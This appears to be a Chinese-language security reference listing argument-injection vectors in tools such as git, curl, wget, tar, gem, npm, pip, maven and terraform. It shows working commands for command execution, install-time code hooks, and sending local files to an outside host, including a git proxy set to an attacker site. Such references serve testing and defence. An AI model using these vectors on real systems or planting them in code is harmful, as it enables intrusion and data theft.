参数注入
awk
system
awk 支持 system 命令来执行命令:
$ awk 'BEGIN {system("cmdname arg1 arg2")}' /dev/null
# 执行命令与文件中的行数相同
$ awk 'system("cmdname arg1 arg2")' /path/to/file如果不能插入空格,可以使用 sprintf 来绕过:
$ awk 'BEGIN{system(sprintf("cmdname%carg1",32))}'参考:
bundler
bundler install
bundler install 在底层使用 gem,因此可以重用 gem 的功能来获利。
Gemfile
Gemfile 描述了执行相关 Ruby 代码所需的 gem 依赖项。由于它是一个 ruby 文件,您可以编写任意代码,在运行 bundle install 时执行。
# Gemfile
# 这里的任意代码
system('echo "hola!"')当运行 bundle install 时,任意的 ruby 代码将被执行。
$ bundle install
hola!
hola!
The Gemfile specifies no dependencies
Resolving dependencies...
Bundle complete! 0 Gemfile dependencies, 1 gem now installed.gem 依赖项
由于 bundler 使用 gem install 来安装 Gemfile 中指定的依赖项,您可以使用扩展来嵌入任意代码。
# hola.gemspec 文件
Gem::Specification.new do |s|
s.name = 'hola'
s.version = '0.0.0'
s.summary = "Hola!"
s.description = "A simple hello world gem"
s.authors = ["Nick Quaranto"]
s.email = '[email protected]'
s.files = []
s.homepage = 'https://rubygems.org/gems/hola'
s.license = 'MIT'
s.extensions = 'extconf.rb'
end# extconf.rb
# 这里的任意代码
system('echo "hola!"')# 构建并推送到 rubygems.org
$ gem build hola.gemspec
$ gem push ./hola-0.0.0.gem# Gemfile
source 'https://rubygems.org'
gem 'hola'当运行 bundle install 时,任意的 ruby 代码将被执行。
$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR: Error installing hola-0.0.0.gem:
ERROR: Failed to build gem native extension.
...
hola!
...参考:
git 依赖项
bundler 的 gem 源之一是包含 gem 源代码的 git 仓库。由于 git 仓库包含源代码,bundler 在安装前会构建它。因此,您可以编写任意代码,在运行 bundle install 时执行。
在 github.com 上创建一个包含以下 hola.gemspec 文件的仓库:
# 这里的任意代码
system('echo "hola!"')
Gem::Specification.new do |s|
s.name = 'hola'
s.version = '0.0.0'
s.summary = "Hola!"
s.description = "A simple hello world gem"
s.authors = ["Nick Quaranto"]
s.email = '[email protected]'
s.files = []
s.homepage = 'https://rubygems.org/gems/hola'
s.license = 'MIT'
end将仓库作为 git 依赖项添加到 Gemfile 中。
# Gemfile
gem 'hola', :git => 'https://github.com/username/hola'当运行 bundle install 时,任意的 ruby 代码将被执行。
$ bundle install
Fetching https://github.com/username/hola
hola!
Resolving dependencies...
Using bundler 2.2.21
Using hola 0.0.0 from https://github.com/username/hola (at main@4a4a4ee)
Bundle complete! 1 Gemfile dependency, 2 gems now installed.参考:
path 依赖项
您可以指定 gem 位于文件系统上的特定位置。相对路径相对于包含 Gemfile 的目录解析。由于 git 仓库包含源代码,bundler 在安装前会构建它。因此,您可以编写任意代码,在运行 bundle install 时执行。
您可以指定 gem 位于文件系统上的特定位置。相对路径相对于包含 Gemfile 的目录解析。
与 :git 选项的语义类似,:path 选项要求相关目录包含 gem 的 .gemspec,或者您指定 bundler 应使用的显式版本。
因此,您可以使用带有任意代码的 .gemspec 文件或带有原生扩展的构建 gem来获得代码执行。
# Gemfile
# .gemspec 文件位于 vendor/hola 中
gem 'hola', :path => "vendor/hola"# Gemfile
# vendor/hola 包含 hola-0.0.0.gem 文件
gem 'hola', '0.0.0', :path => "vendor/hola"当运行 bundle install 时,任意的 ruby 代码将被执行。
$ bundle install
hola!
Resolving dependencies...
Using hola 0.0.0 from source at `vendor/hola`
Using bundler 2.2.21
Bundle complete! 1 Gemfile dependency, 2 gems now installed.参考:
curl
curl 可用于泄露本地文件或向它们写入任意内容。
# 使用 POST 请求发送本地文件
$ curl --data @/path/to/local/file https://website.com
$ curl -F 'var=@/path/to/local/file' https://website.com
$ curl --upload-file /path/to/local/file https://website.com
# 将响应写入本地文件
$ curl https://website.com/payload.txt -o /path/to/local/file此外,file: 方案可用于读取或复制本地文件:
# 读取本地文件
$ curl file:///path/to/local/file
# 将本地文件复制到新位置
$ curl file:///path/to/local/file -o /path/to/another/local/file参考:
find
exec
-exec 选项可用于执行任意命令:
$ find . -name not_existing -or -exec cmdname arg1 arg2 \; -quit
$ find . -exec cmdname arg1 arg2 \; -quit
# 读取文件
$ find /path/to/file -exec cat {} \; -quit参考:
execdir
-execdir 类似于 -exec,但指定的命令从包含匹配项的子目录中运行。-execdir 可用于执行任意命令:
$ find . -name not_existing -or -execdir cmdname arg1 arg2 \; -quit
$ find . -execdir cmdname arg1 arg2 \; -quit
# 读取文件
$ find /path/to/file -execdir cat {} \; -quitfprintf
-fprintf 可用于写入本地文件:
$ find . -fprintf /path/to/file 'arbitrary content here' -quit参考:
gem
gem build
gemspec 文件是一个 ruby 文件,定义了 gem 中的内容、谁制作了它以及 gem 的版本。由于它是一个 ruby 文件,您可以编写任意代码,在运行 gem build 时执行。
# hola.gemspec 文件
# 这里的任意代码
system('echo "hola!"')
Gem::Specification.new do |s|
s.name = 'hola'
s.version = '0.0.0'
s.summary = "Hola!"
s.description = "A simple hello world gem"
s.authors = ["Nick Quaranto"]
s.email = '[email protected]'
s.files = []
s.homepage = 'https://rubygems.org/gems/hola'
s.license = 'MIT'
end当运行 gem build 时,任意的 ruby 代码将被执行。
$ gem build hola.gemspec
hola!
Successfully built RubyGem
Name: hola
Version: 0.0.0
File: hola-0.0.0.gem参考:
gem install
扩展
gemspec 允许您定义在安装 gem 时要构建的扩展。许多 gem 使用扩展来包装用 C 编写的库与 ruby 包装器。gem 使用 extconf.rb 在安装期间构建扩展。由于它是一个 ruby 文件,您可以编写任意代码,在运行 gem install 时执行。
# hola.gemspec 文件
Gem::Specification.new do |s|
s.name = 'hola'
s.version = '0.0.0'
s.summary = "Hola!"
s.description = "A simple hello world gem"
s.authors = ["Nick Quaranto"]
s.email = '[email protected]'
s.files = []
s.homepage = 'https://rubygems.org/gems/hola'
s.license = 'MIT'
s.extensions = 'extconf.rb'
end# extconf.rb
# 这里的任意代码
system('echo "hola!"')$ gem build hola.gemspec
Successfully built RubyGem
Name: hola
Version: 0.0.0
File: hola-0.0.0.gem当运行 gem install 时,任意的 ruby 代码将被执行。
$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR: Error installing hola-0.0.0.gem:
ERROR: Failed to build gem native extension.
...
hola!
...参考:
git
-c/--config-env
-c/--config-env 将配置参数传递给命令。给定的值将覆盖配置文件中的值。查看 通过 .git/config 滥用 部分以找到可滥用的参数。
滥用 git 目录
git 目录维护与 git 仓库相关的内部状态或元数据。它在用户的机器上创建,当:
用户执行
git init来初始化一个空的本地仓库用户执行
git clone <repository>从远程位置克隆现有仓库
git 目录的结构记录在 https://git-scm.com/docs/gitrepository-layout
注意,git 目录通常是但不一定是名为 .git 的目录,位于仓库的根目录。有几个变量可以重新定义路径:
GIT_COMMON_DIR 环境变量或 commondir 文件指定将从中获取非工作树文件的路径,这些文件通常在
$GIT_DIR中。
注意,裸仓库 根本没有 .git 目录。
参考:
通过 .git/config 滥用
.git/config 允许在每个仓库的基础上配置选项。许多选项允许指定将在各种情况下执行的命令,但其中一些情况仅在用户以特定方式与 git 仓库交互时出现。
至少有以下几种设置选项的方法:
在系统范围内使用 /etc/gitconfig 文件
在全局范围内使用 ~/git/config 或 ~/.gitconfig 文件
在本地每个仓库的基础上使用 .git/config 文件
在本地每个仓库的基础上使用 .git/config.worktree 文件。这是可选的,只有当
.git/config中存在extensions.worktreeConfig时才会搜索在本地每个仓库的基础上使用 git -c/--config-env 选项
在本地每个仓库的基础上使用 git-clone -c/--config 选项
core.gitProxy
core.gitProxy 给出一个在使用 git:// 协议建立与远程的连接时将执行的命令
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.gitProxy="./pwn.sh" git://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.
Please make sure you have the correct access rights and the repository exists.core.fsmonitor
core.fsmonitor 选项用作命令,该命令将标识自请求的日期/时间以来可能已更改的所有文件。
换句话说,git 提供的许多操作将调用 core.fsmonitor 给出的命令,以快速将操作范围限制为已知已更改的文件,以提高性能。
至少以下 git 操作调用 core.fsmonitor 给出的命令:
git status用于显示有关工作树状态的信息,包括是否有任何文件有未提交的更改git add <pathspec>用于暂存更改以提交到仓库git rm --cached <file>用于取消暂存更改git commit用于提交暂存的更改git checkout <pathspec>用于检出文件、提交、标签、分支等
对于接受文件名的操作,即使提供的文件名不存在,core.fsmonitor 也会触发。
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# 更改 core.fsmonitor 以便在调用时向 STDERR 回显消息
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> .git/config
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "echo \"Pwned as $(id)\">&2; false"
# git-status
$ git status
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
On branch main
No commits yet
nothing to commit (create/copy files and use "git add" to track)
# git-add
$ touch aaaa
$ git add aaaa
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
$ git add zzzz
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
fatal: pathspec 'zzzz' did not match any files
# git-commit
$ git commit -m 'add aaaa'
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
[main (root-commit) 7c2f2c6] add aaaa
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 aaaa参考:
core.hooksPath
core.hooksPath 为钩子设置不同的路径。您可以在仓库中创建 post checkout 钩子,使用 hooksPath 设置钩子的路径,并执行任意代码。
$ git clone "<REPO>" target_directory
$ cd target_directory
$ mkdir hooks
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
$ # 提交并推送要执行 payload,运行 git-clone:
$ git clone -c core.hooksPath=hooks "<REPO>"参考:
core.pager
core.pager 指定 Git 命令使用的文本查看器(例如,less)。该值旨在由 shell 解释,可用于执行任意命令。
例如,在以下代码片段中,git-grep 具有 --open-files-in-pager 键,如果参数中未指定值,则使用 core.pager 中的默认分页器:
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git -c core.pager='cmdname arg1 arg2 #' grep --open-files-in-pager .如果分页器值不是由用户直接设置的,则有优先级顺序:
GIT_PAGER环境变量。core.pager配置。PAGER环境变量。编译时选择的默认值(通常是
less)。
因此,以下代码片段也可用于执行命令:
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ GIT_PAGER='id #' git grep --open-files-in-pager .core.sshCommand
core.sshCommand 给出一个在使用 SSH 协议建立与远程的连接时将执行的命令。如果设置了此变量,当它们需要连接到远程系统时,git fetch 和 git push 将使用指定的命令而不是 ssh。
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.sshCommand="./pwn.sh" [email protected]:user/project.git
# 或
$ git clone -c core.sshCommand="./pwn.sh" ssh://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.
Please make sure you have the correct access rights and the repository exists.diff.external
diff.external 给出一个将代替 git 内部 diff 函数使用的命令。
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone https://github.com/user/project.git
$ cd project
$ git -c diff.external="../pwn.sh" HEAD 480e4c9
"Pwned as uid=0(root) gid=0(root) groups=0(root)"filter.<driver>.clean 和 filter.<driver>.smudge
filter..clean 用于在提交时将工作树文件的内容转换为 blob。
filter..smudge 用于在检出时将 blob 对象的内容转换为工作树文件。
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# filter.<driver>.clean 和 filter.<driver>.smudge
# 以便在调用时向 STDERR 回显消息
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# 将过滤器添加到 .gitattributes
$ touch example
$ git add ./example
$ git commit -m 'commit'
$ echo "* text filter=any" > .gitattributes
$ git status
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
On branch master
Untracked files:
(use "git add <file>..." to include in what will be committed)
.gitattributes
nothing added to commit but untracked files present (use "git add" to track)
$ git add .gitattributes
Pwned clean as uid=0(root) gid=0(root) groups=0(root)$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# filter.<driver>.clean 和 filter.<driver>.smudge
# 以便在调用时向 STDERR 回显消息
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# 将过滤器添加到 .gitattributes
$ echo "* text filter=any" > .gitattributes
$ git fetch
$ git checkout main
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Branch 'main' set up to track remote branch 'main' from 'origin'.
Switched to a new branch 'main'参考:
http.proxy 和 http.<URL>.proxy
http.proxy 或 http.<URL>.proxy 覆盖 HTTP 代理。您可以使用它来获得 SSRF:
$ git clone -c http.proxy=http://attacker-website.com -- "<REPO>" target_directory
$ git clone -c http.http://website.com/.proxy=http://attacker-website.com -- "<REPO>" target_directory注意其他 http.* 配置和 remote.<name>.proxy,它们可以帮助增加影响。
参考:
通过 .git/hooks/ 滥用
.git/hooks/ 中的各种文件在某些 git 操作时执行。例如:
pre-commit和post-commit分别在提交操作之前和之后执行post-checkout在检出操作之后执行pre-push在推送操作之前执行
在区分可执行文件和不可执行文件的文件系统上,只有当相应的文件是可执行的时才会执行钩子。此外,钩子只在给定的用户交互时执行,例如在执行提交时。
例如,您可以使用裸仓库来传递自定义 git 钩子并执行任意代码:
# 克隆或创建仓库
$ git clone "<REPO>" target_directory
$ cd target_directory
# 将子项目添加为裸仓库
$ mkdir subproject
$ cd subproject
$ git init --bare
# 添加恶意钩子
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
# 提交并推送如果易受攻击的代码对准备好的仓库执行以下 bash 命令,它将触发自定义钩子执行并导致任意代码被执行:
$ git clone -- "<REPO>" "target_directory"
$ cd "target_directory"
$ git checkout "subproject"参考:
通过 .git/index 滥用
您可以使用精心制作的 .git/index 文件实现任意写入原语,查看公告。
通过 .git/HEAD 滥用
通过损坏 .git/HEAD 可以欺骗 Git 从意外位置加载配置。在这种情况下,Git 开始在当前文件夹中查找仓库,攻击者可以完全控制该文件夹,例如,如果当前文件夹是包含克隆的远程仓库所有文件的工作树。利用流程可能如下:
$ git clone https://github.com/remote/repo.git
$ cd repo
# 创建空文件夹以符合 Git 仓库的预期结构
$ mkdir objects refs worktree
# 创建非空的 HEAD 来伪造有效的引用
$ echo "ref: refs/heads/main" > HEAD
# 使用 core.fsmonitor 准备恶意的配置文件来执行 payload
$ echo "[core]" > config
$ echo "\trepositoryformatversion = 0" >> config
$ echo "\tbare = false" >> config
$ echo "\tworktree = worktree" >> config
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> config
# 损坏 HEAD 文件
$ echo "" > .git/HEAD
# 利用
$ git status
Pwned as uid=501(user)
Pwned as uid=501(user)
On branch main
No commits yet
nothing to commit (create/copy files and use "git add" to track)参考:
git-blame
--output
git-blame 具有 --output 选项,该选项在手册中没有记录,并且通常出现在其他 git 子命令中。执行 git blame --output=foo 导致有趣的行为:
$ git init
$ git blame --output=foo
usage: git blame [<options>] [<rev-opts>] [<rev>] [--] <file>
<rev-opts> are documented in git-rev-list(1)
--incremental show blame entries as we find them, incrementally
-b do not show object names of boundary commits (Default: off)
# ...
# 注意名为 foo 的新文件的存在
$ ls -la foo
-rw-r--r-- 1 user staff 0 Mar 18 20:18 foo虽然命令失败了,但创建了一个名为 foo 的空文件。如果同名的文件已经存在,目标文件将被截断。此选项提供任意文件截断原语。例如,攻击者可以使用它来损坏 .git 文件夹中的关键文件,如 .git/HEAD,并欺骗 Git 从意外位置加载配置,查看 通过 .git/HEAD 滥用 部分。
参考:
git-clone
-c/--config
-c/--config 在新创建的仓库中设置配置变量;这在仓库初始化后立即生效,但在获取远程历史记录或检出任何文件之前生效。查看 通过 .git/config 滥用 部分以找到可滥用的变量。
ext URL
git-clone 允许在 ext URL 中为远程仓库指定 shell 命令。例如,下一个示例将执行 whoami 命令来尝试连接到远程仓库:
$ git clone 'ext::sh -c whoami% >&2'参考:
<directory>
git-clone 允许指定一个新目录来克隆到。只有当目录为空时才允许克隆到现有目录中。您可以使用它来将仓库写入默认文件夹之外。
$ git clone -- "<REPO>" target_directory-u/--upload-pack
upload-pack 指定在通过 ssh 访问要克隆的仓库时在另一端运行的命令的非默认路径。您可以像这样执行任意代码:
$ mkdir repo
$ cd repo
$ git init
$ cd -
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git clone --upload-pack=payload.sh repo参考:
git-diff
git-diff 对 /dev/null
git-diff 对 /dev/null 可用于读取文件的整个内容,即使在 git 目录之外。
$ git diff /dev/null /path/fo/file/outside/git/repo
$ git diff /dev/null path/to/file/in/git/repo参考:
--no-index
--no-index 键可用于将 git-diff 变为对 git 仓库中另一个文件的正常 diff,该文件不必被跟踪。
$ git diff --no-index local-secret-file.conf git.md参考:
git-fetch
--upload-pack
--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2 将输出路由到 stderr。
$ mkdir repo
$ cd repo
$ git init
$ git fetch main --upload-pack='cmdname arg1 arg2 >&2 #'参考:
git-fetch-pack
--exec
与 --upload-pack 相同。查看下面的部分。
--upload-pack
--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2 将输出路由到 stderr。
$ mkdir repo
$ cd repo
$ git init
$ git fetch-pack --upload-pack='cmdname arg1 arg2 >&2 #' .git-grep
--no-index
no-index 告诉 git-grep 搜索当前目录中不被 Git 管理的文件。换句话说,如果工作目录与仓库目录不同,no-index 允许您访问工作目录中的文件。
参考:
-O/--open-files-in-pager
-O/--open-files-in-pager 在 pager 中打开匹配的文件。它可以用于运行任意命令:
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git grep --open-files-in-pager='cmdname arg1 arg2 #' .参考:
git-log
--output
output 定义一个特定的输出文件而不是 stdout。您可以使用它来重写任意文件。
$ git log --output=/tmp/arbitrary_file
$ cat /tmp/arbitrary_file
commit c79538fb19b1d9d21bf26e9ad30fdeb90be1eaf0
Author: User <user@local>
Date: Fri Aug 29 00:00:00 2021 +0000
Controlled content参考:
git-ls-remote
--upload-pack
--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2 将输出路由到 stderr。
$ mkdir repo
$ cd repo
$ git init
$ git ls-remote --upload-pack='cmdname arg1 arg2 >&2 #' main参考:
git-pull
--upload-pack
--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2 将输出路由到 stderr。
$ mkdir repo
$ cd repo
$ git init
$ git pull main --upload-pack='cmdname arg1 arg2 >&2 #'参考:
git-push
--receive-pack/--exec
receive-pack or exec 指定远程端 git-receive-pack 程序的路径。您可以像这样执行任意代码:
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git push --receive-pack=payload.sh username/repo main
# 或
$ git push --exec=payload.sh username/repo main
# 或
$ git push --receive-pack=payload.sh mainmaven
在 mvn <PHASE> 执行期间执行任意命令或代码是可能的,通过使用各种插件,如 exec-maven-plugin 或 groovy-maven-plugin。为了在阶段 <PHASE> 期间使用 groovy-maven-plugin 插件执行恶意 payload,您可以使用以下配置:
<plugin>
<groupId>org.codehaus.gmaven</groupId>
<artifactId>groovy-maven-plugin</artifactId>
<executions>
<execution>
<phase><!-- PHASE_HERE --></phase>
<goals>
<goal>execute</goal>
</goals>
<configuration>
<source>
print "cmdname arg1 arg2".execute().text
</source>
</configuration>
</execution>
</executions>
</plugin>例如,您可以使用以下 pom.xml 文件在 mvn initialize 或 mvn compile 期间执行插件:
<?xml version="1.0" encoding="UTF-8"?>
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>com.mycompany.app</groupId>
<artifactId>my-app</artifactId>
<version>1</version>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.gmaven</groupId>
<artifactId>groovy-maven-plugin</artifactId>
<executions>
<execution>
<phase>initialize</phase>
<goals>
<goal>execute</goal>
</goals>
<configuration>
<source>
print "cmdname arg1 arg2".execute().text
</source>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>参考:
npm scripts
package.json 文件的 scripts 属性支持许多内置脚本及其预设生命周期事件以及任意脚本。所有这些都可以使用 npm run-script 或简写 npm run 执行。
具有匹配名称的 pre 和 post 命令也将为这些运行(例如 premyscript、myscript、postmyscript)。要为 package.json 的 scripts 部分中定义的任何脚本创建 pre 或 post 脚本,只需创建另一个具有匹配名称的脚本并在其开头添加 pre 或 post。
在以下示例中,npm run compress 将按描述执行这些脚本。
{
"scripts": {
"precompress": "{{ 在 `compress` 脚本之前执行 }}",
"compress": "{{ 运行命令来压缩文件 }}",
"postcompress": "{{ 在 `compress` 脚本之后执行 }}"
}
}有一些特殊的生命周期脚本只在某些情况下发生。除了 pre<event>、post<event> 和 <event> 脚本之外,这些脚本也会发生。
prepare(自 [email protected] 起)在打包之前的任何时候运行,即在
npm publish和npm pack期间在包打包之前运行
在包发布之前运行
在没有参数的本地
npm install上运行在
prepublish之后运行,但在prepublishOnly之前运行注意:如果通过 git 安装的包包含
prepare脚本,其dependencies和devDependencies将被安装,并且 prepare 脚本将在包打包和安装之前运行从
npm@7开始,这些脚本在后台运行。要查看输出,请运行:--foreground-scripts
prepublish(已弃用)在
npm publish期间不运行,但在npm ci和npm install期间运行
prepublishOnly在包准备和打包之前运行,仅在
npm publish上运行
prepack在打包 tarball 之前运行(在
npm pack、npm publish和安装 git 依赖项时)注意:
npm run pack与npm pack不同。npm run pack是任意的用户定义脚本名称,而npm pack是 CLI 定义的命令
postpack在生成 tarball 之后但在将其移动到最终目的地之前运行(如果有的话,发布不会在本地保存 tarball)
npm cache add
npm cache add 运行以下生命周期脚本:
prepare
npm ci
npm ci 运行以下生命周期脚本:
preinstallinstallpostinstallprepublishprepreparepreparepostprepare
这些都在实际将模块安装到 node_modules 之后运行,按顺序,中间没有内部操作。
npm diff
npm diff 运行以下生命周期脚本:
prepare
npm install
npm install 运行以下生命周期脚本(当您运行 npm install -g <pkg-name> 时也会运行):
preinstallinstallpostinstallprepublishprepreparepreparepostprepare
如果在包的根目录中有 binding.gyp 文件并且未定义 install 或 preinstall 脚本,npm 将默认 install 命令使用 node-gyp 通过 node-gyp rebuild 进行编译。
npm pack
npm pack 运行以下生命周期脚本:
prepackpreparepostpack
npm publish
npm publish 运行以下生命周期脚本:
prepublishOnlyprepackpreparepostpackpublishpostpublish
prepare 在 --dry-run 期间不会运行
npm rebuild
npm rebuild 运行以下生命周期脚本:
preinstallinstallpostinstallprepare
prepare 只有在当前目录是符号链接时才会运行(例如,使用链接的包)
npm restart
npm restart 运行 restart 脚本(如果已定义),否则如果存在 stop 和 start 都会运行(包括它们的 pre 和 post 迭代):
prerestartrestartpostrestart
npm start
npm start 运行以下生命周期脚本:
prestartstartpoststart
如果在包的根目录中有 server.js 文件,那么 npm 将默认 start 命令为 node server.js。在这种情况下,prestart 和 poststart 仍会运行。
npm stop
npm stop 运行以下生命周期脚本:
prestopstoppoststop
npm test
npm test 运行以下生命周期脚本:
pretesttestposttest
pip
pip install
扩展 setuptools 模块允许您挂钩几乎任何 pip 命令。例如,您可以使用 setup.py 文件中的 install 类在 pip install 运行期间执行任意代码。
from setuptools import setup
from setuptools.command.install import install
class PostInstallCommand(install):
def run(self):
# 在此处插入代码
install.run(self)
setup(
...
cmdclass={
'install': PostInstallCommand,
},
...
)当运行 pip install 时,将调用 PostInstallCommand.run 方法。
参考:
ssh
authorized_keys 和 id_*.pub
OpenSSH 支持 command 选项,该选项指定每当密钥用于身份验证时执行的命令。
command="cmdname arg1 arg2" ssh-ed25519 AAAAC3Nzblah....参考:
ssh_config
ssh 从以下来源按以下顺序获取配置数据:
命令行
用户的配置文件
~/.ssh/config系统范围的配置文件
/etc/ssh/ssh_config
LocalCommand
LocalCommand 指定在成功连接到服务器后在本地机器上执行的命令。以下 ssh_config 可用于执行任意命令:
Host *
PermitLocalCommand yes
LocalCommand cmdname arg1 arg2参考:
ssh-keygen
-D
ssh-keygen 可以使用 -D 键加载共享库,导致任意命令执行:
$ ssh-keygen -D lib.so参考:
tar
检查点
检查点 是在将第 n 个记录写入存档(写入检查点)之前,或从存档中读取第 n 个记录之前(读取检查点)的时间点。检查点 允许定期执行任意操作。
$ tar cf archieve.tar --checkpoint=1 --checkpoint-action="exec=echo 'arbitrary payload here'" foo --to-command
当使用 --to-command 键时,tar 调用命令并将文件的内容通过管道传输到其标准输出,而不是创建指定的文件。因此它可以用于执行任意命令。
# 需要有效的存档文件
$ tar xf file.tar --to-command='cmdname arg1 arg2'参考:
-I/--use-compress-program
-I/--use-compress-program 用于指定可以滥用来执行任意命令的外部压缩程序命令:
# 不需要有效的存档
$ tar xf /dev/null --use-compress-program='cmdname arg1 arg2'参考:
terraform
terraform-plan
Terraform 依赖于称为"提供者"的插件来与远程系统交互。Terraform 配置必须声明它们需要哪些提供者,以便 Terraform 可以安装和使用它们。
您可以编写自定义提供者,将其发布到 Terraform Registry 并将提供者添加到 Terraform 代码中。
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}$ terraform init
$ terraform plan提供者将在 terraform init 期间被拉入,当运行 terraform plan 时,任意的 ruby 代码将被执行。
此外,Terraform 提供 external provider,它提供了在 Terraform 和外部程序之间接口的方式。因此,您可以使用 external 数据源来运行任意代码。来自文档的以下示例在 terraform plan 期间执行 python 脚本。
data "external" "example" {
program = ["python", "${path.module}/example-data-source.py"]
query = {
# 从字符串到字符串的任意映射,传递
# 到外部程序作为数据查询。
id = "abc123"
}
}参考:
wget
--use-askpass
--use-askpass 指定提示用户和密码的命令。此键可用于执行任意命令,而无需任何参数和 stdout/stderr。
如果未指定命令,则使用环境变量 WGET_ASKPASS 中的命令。如果 WGET_ASKPASS 未设置,则使用环境变量 SSH_ASKPASS 中的命令。此外,可以在 .wgetrc 中设置 use-askpass 的默认命令。
$ wget --use-askpass=cmdname http://0/参考:
--post-file
--post-file 可用于在 POST 请求中泄露文件。
# 将本地文件发送到远程服务器
# 文件按原样发送
$ wget --post-file=/path/to/file https://website.com/参考:
-O/--output-document
-o/--output-document 可用于通过 GET 请求下载远程文件并将其保存到特定位置。
$ wget --output-document=/path/to/file https://website.com/file.txt
# 将文件打印到标准输出
$ wget --output-document="-" https://website.com/file.txt参考:
-o/--output-file
-o/--output-file 指定一个日志文件,用于记录通常报告到标准错误的所有消息。它可以用于将输出写入文件。
# 读取本地文件并将输出写入另一个本地文件
# 只显示非二进制文件,输出是错误日志
$ wget --input-file=/path/to/file --output-file=/path/to/another/file参考:
-i/--input-file
-i/--input-file 从本地或外部文件读取 URL。此键可用于在错误消息中暴露文件内容:
# 文件内容将显示为错误消息
$ wget --input-file=/path/to/file http://0/参考:
zip
-TT/--unzip-command
-TT/--unzip-command 用于指定在使用 -T 选项时测试存档的命令。
$ zip archieve.zip /path/to/file -T --unzip-command="cmdname arg1 arg2 #"参考:
最后更新于